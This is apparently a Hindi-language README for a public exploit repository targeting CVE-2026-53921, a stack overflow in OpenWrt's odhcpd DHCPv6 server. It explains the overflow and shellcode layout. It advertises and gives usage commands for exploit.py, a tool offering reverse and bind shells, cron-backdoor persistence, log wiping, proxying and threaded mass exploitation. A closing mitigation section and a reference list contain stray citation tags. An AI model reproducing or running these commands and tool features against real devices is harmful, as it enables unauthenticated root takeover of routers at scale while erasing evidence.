CVE-2026-53921 – odhcpd स्टैक ओवरफ्लो

⚠️ केवल शैक्षिक और अधिकृत परीक्षण के लिए। अनधिकृत उपयोग अवैध है।

📖 भेद्यता अवलोकन

CVE-2026-53921 OpenWrt के odhcpd डेमॉन में एक गंभीर स्टैक बफर ओवरफ्लो है – जो डिफ़ॉल्ट DHCPv6/DHCPv4/RA सर्वर है।

🔍 यह कैसे काम करता है

यह भेद्यता odhcpd के DHCPv6 संदेश प्रबंधन कोड में मौजूद है, विशेष रूप से build_ia() और dhcpv6_ia_handle_IAs() फ़ंक्शनों में।

तकनीकी गहन विश्लेषण

1. मूल कारण

यह बग DHCPv6 रिप्लाई पैकेटों के serialization (पैकिंग) के दौरान होता है। जब odhcpd क्लाइंट अनुरोधों का जवाब देता है, तो यह उत्तर को 512 बाइट्स के निश्चित आकार के स्टैक बफर में बिना उचित बाउंड्स जाँच के तैयार करता है।

// Simplified representation of the vulnerable code

static void build_ia(struct dhcpv6_ia *ia, uint8_t *buf, size_t *len) {
    // ❌ No bounds check before writing
    memcpy(buf + *len, ia->data, ia->length);
    *len += ia->length;
}

2. ओवरफ्लो को ट्रिगर करना

एक हमलावर DHCPv6 Request (या Solicit) भेजता है जिसमें:

• 5 या अधिक IA_NA (Identity Association for Non-temporary Address) विकल्प, प्रत्येक में एक IAAddress उप-विकल्प होता है।
• 22 या अधिक IA_PD (Identity Association for Prefix Delegation) विकल्प।

प्रत्येक विकल्प स्टैक स्थान का उपभोग करता है जब odhcpd अपना रिप्लाई बनाता है। संचित डेटा 512 बाइट्स से अधिक हो जाता है, जिससे ओवरफ्लो होता है।

3. दो ओवरफ्लो वेक्टर

वेक्टर ट्रिगर ओवरफ्लो बिंदु

साइट 1 5 IA_NA विकल्प build_ia() for IA_NA IPv6 पतों के साथ

साइट 2 22 IA_PD विकल्प build_ia() for IA_PD

मूल कारण समान है, लेकिन ओवरफ्लो अलग-अलग कोड पथों में होता है, जिससे दोनों वेक्टर समान रूप से शोषण योग्य बन जाते हैं।

4. मेमोरी लेआउट

Stack Layout (simplified):

+-------------------+  <-- High addresses
|    Return Address |  ← Overwritten with attacker-controlled value
+-------------------+
|  Saved Frame Ptr  |
+-------------------+
|  Local Variables  |  ← 512-byte buffer
+-------------------+  <-- Low addresses

5. शोषण आवश्यकताएँ

आवश्यकता विवरण

नेटवर्क एक्सेस हमलावर के पास लक्ष्य तक IPv6 कनेक्टिविटी होनी चाहिए

प्रमाणीकरण कोई नहीं -- बिना प्रमाणीकरण वाला हमला

विशेषाधिकार odhcpd रूट के रूप में चलता है, इसलिए RCE पूर्ण सिस्टम नियंत्रण प्रदान करता है

लक्ष्य सेवा UDP पोर्ट 547 (DHCPv6) खुला होना चाहिए

6. शेलकोड स्थान

एक वास्तविक एक्सप्लॉइट में, हमलावर का शेलकोड IAAddress IPv6 पता फ़ील्ड्स (प्रति IA_NA 16 बाइट्स) में रखा जाता है। क्राफ्ट किए गए पैकेट शेलकोड, NOP sled और रिटर्न एड्रेस को इन फ़ील्ड्स में पैक करते हैं।

Crafted IA_NA Structure:

+-------------------+
| IA_NA Header      | (12 bytes)
+-------------------+
| IAAddress 1       | ← NOP sled + shellcode
+-------------------+
| IAAddress 2       | ← NOP sled + shellcode
+-------------------+
| IAAddress 3       | ← NOP sled + shellcode
+-------------------+
| IAAddress 4       | ← Return address
+-------------------+
| IAAddress 5       | ← Return address
+-------------------+

7. प्रभाव श्रृंखला

Crafted DHCPv6 Request
         ↓
odhcpd processes IA_NA/IA_PD options
         ↓
512-byte stack buffer overflows
         ↓
Return address overwritten
         ↓
CPU jumps to shellcode
         ↓
Reverse shell / Bind shell / RCE
         ↓
Full system compromise (root privileges)

8. हमले के वेक्टर बनाम शमन स्थिति

संस्करण स्थिति RCE संभव?

odhcpd < e432dd6 असुरक्षित ✅ हाँ OpenWrt < 24.10.8 असुरक्षित ✅ हाँ OpenWrt < 25.12.5 असुरक्षित ✅ हाँ OpenWrt 24.10.8+ पैच किया गया ❌ नहीं OpenWrt 25.12.5+ पैच किया गया ❌ नहीं odhcpd master + e432dd6 पैच किया गया ❌ नहीं

9. वास्तविक दुनिया में शोषण

यह भेद्यता विशेष रूप से खतरनाक है क्योंकि:

• OpenWrt इंस्टॉलेशन पर odhcpd डिफ़ॉल्ट रूप से सक्षम है।
• कोई प्रमाणीकरण आवश्यक नहीं है---समान IPv6 सेगमेंट पर कोई भी डिवाइस हमला कर सकता है।
• बग अनुरोध प्रोसेसिंग पथ में है।
• एम्बेडेड MIPS/ARM डिवाइसों पर स्टैक कैनरी और ASLR शायद ही उपस्थित होते हैं।
• एक्सप्लॉइट कई एम्बेडेड वातावरणों में सामान्य सुरक्षा उपायों को बायपास कर सकता है।

🎯 प्रभावित संस्करण

🧰 उपकरण

यह रिपॉज़िटरी दो स्वतंत्र स्क्रिप्ट प्रदान करता है:

🔎 verifier.py – भेद्यता जाँचकर्ता

• सेवा सक्रिय है यह सत्यापित करने के लिए एक मानक DHCPv6 Solicit भेजता है।
• OpenWrt संस्करण का पता लगाने के लिए HTTP/SSH बैनर पढ़ता है।
• संस्करण की तुलना ज्ञात असुरक्षित सीमा से करता है।
• कोई ओवरफ्लो पेलोड या शेलकोड नहीं भेजता है।

💥 exploit.py – पूर्ण एक्सप्लॉइट

• दोहरे ओवरफ्लो वेक्टर: IA_NA (साइट1) और IA_PD (साइट2)।
• स्वचालित आर्किटेक्चर पहचान (MIPS / ARM)।
• MIPS बिग-एंडियन रिवर्स और बाइंड शेलकोड।
• SOCKS5 प्रॉक्सी के लिए समर्थन।
• पर्सिस्टेंस (cron बैकडोर) और लॉग मिटाना।
• थ्रेडेड स्कैनिंग और बड़े पैमाने पर शोषण।
• वैकल्पिक पेलोड एन्कोडिंग (XOR)।

🚀 इंस्टॉलेशन

git clone https://github.com/tc4dy/CVE-2026-53921-PoC-Exploit
cd CVE-2026-53921-PoC-Exploit
pip install -r requirements.txt
#Note: Both scripts need root privileges to craft raw IPv6 packets.

📝 उपयोग

🔍 वेरिफायर – जाँचें कि लक्ष्य असुरक्षित है या नहीं

sudo python3 verifier.py -u fe80::1%eth0 -i eth0

💥 एक्सप्लॉइट – रिवर्स शेल प्राप्त करें (अवैध गतिविधि के लिए उपयोग न करें, केवल परीक्षण हेतु)

sudo python3 exploit.py -u fe80::1%eth0 -i eth0 --lhost 192.168.1.100 --lport 4444

⚙️ कमांड-लाइन विकल्प

verifier.py

exploit.py

🧪 उदाहरण परिदृश्य

1. लक्ष्यों की सूची स्कैन करें

sudo python3 exploit.py -l targets.txt --scan-only --threads 10

### 2. Exploit a single target with bind shell

sudo python3 exploit.py -u fe80::1%eth0 --lhost 192.168.1.100 --payload bind --lport 31337

### 3. Use SOCKS5 proxy + persistence + log wiping

sudo python3 exploit.py -u fe80::1%eth0 --lhost 192.168.1.100 --proxy-host 127.0.0.1 --proxy-port 9050 --persistence --clear-logs

🛡️ शमन

OpenWrt को 24.10.8 या 25.12.5 या उसके बाद के संस्करण में अपग्रेड करें।

opkg update
opkg upgrade odhcpd

📌 संदर्भ

आधिकारिक स्रोत

• OpenWrt सुरक्षा सलाह (GHSA-7fwx-hhrg-3496) https://github.com/openwrt/odhcpd/security/advisories/GHSA-7fwx-hhrg-3496 odhcpd में दोनों ओवरफ्लो वेक्टरों को कवर करने वाली विस्तृत सलाह।

• CVE-2026-53921 NVD प्रविष्टि https://nvd.nist.gov/vuln/detail/CVE-2026-53921 आधिकारिक NIST भेद्यता डेटाबेस प्रविष्टि।

• OpenWrt 24.10.8 रिलीज़ नोट्स https://forum.openwrt.org/t/openwrt-24-10-8-service-release/252195 24.10 ब्रांच के लिए आधिकारिक रिलीज़ घोषणा।

• OpenWrt 25.12.5 रिलीज़ नोट्स https://lists.openwrt.org/pipermail/openwrt-announce/2026-June/000088.html 25.12 ब्रांच के लिए आधिकारिक रिलीज़ घोषणा।

उसी रिलीज़ में ठीक किए गए संबंधित CVE

24.10.8 और 25.12.5 रिलीज़ CVE-2026-53921 के अलावा कई odhcpd भेद्यताओं को संबोधित करती हैं [citation:9]:

तकनीकी विश्लेषण और लेख

• द हैकर न्यूज़ विश्लेषण https://thehackernews.com/2026/07/critical-openwrt-dhcpv6-flaw-could-let.html भेद्यता और शोषण वेक्टरों का विस्तृत तकनीकी विवरण। [citation:1]

• GitHub PoC रिपॉज़िटरी https://github.com/0xBlackash/CVE-2026-53921 सार्वजनिक प्रूफ-ऑफ-कॉन्सेप्ट कार्यान्वयन और तकनीकी विवरण। [citation:3]

25.12.5 में अतिरिक्त सुरक्षा सुधार

संस्करण 25.12.5 अन्य मुख्य घटकों में भेद्यताओं को भी संबोधित करता है [citation:10]:

• uhttpd: HTTP रिक्वेस्ट स्मगलिंग (CVE-2026-55612, CVE-2026-55614)
• LuCI: कई विशेषाधिकार वृद्धि और XSS दोष
• cgi-io: प्रमाणित पथ ट्रैवर्सल
• Linux Kernel: कई CVEs के साथ 6.12.94 में अपडेट किया गया
• OpenSSL: कई CVEs को हल करते हुए 3.5.7 में अपडेट किया गया
• Dropbear SSH: CVE-2019-6111 और CVE-2026-35385 ठीक किए गए

सहायक दस्तावेज़

• OpenWrt फ़र्मवेयर चयनकर्ता https://firmware-selector.openwrt.org/ अपने डिवाइस के लिए पैच किए गए फ़र्मवेयर इमेज डाउनलोड करें।

• CISA ज्ञात शोषित भेद्यता कैटलॉग https://www.cisa.gov/known-exploited-vulnerabilities-catalog जाँचें कि क्या CVE-2026-53921 को KEV में जोड़ा गया है (27 जुलाई, 2026 तक, सूचीबद्ध नहीं)। [citation:1]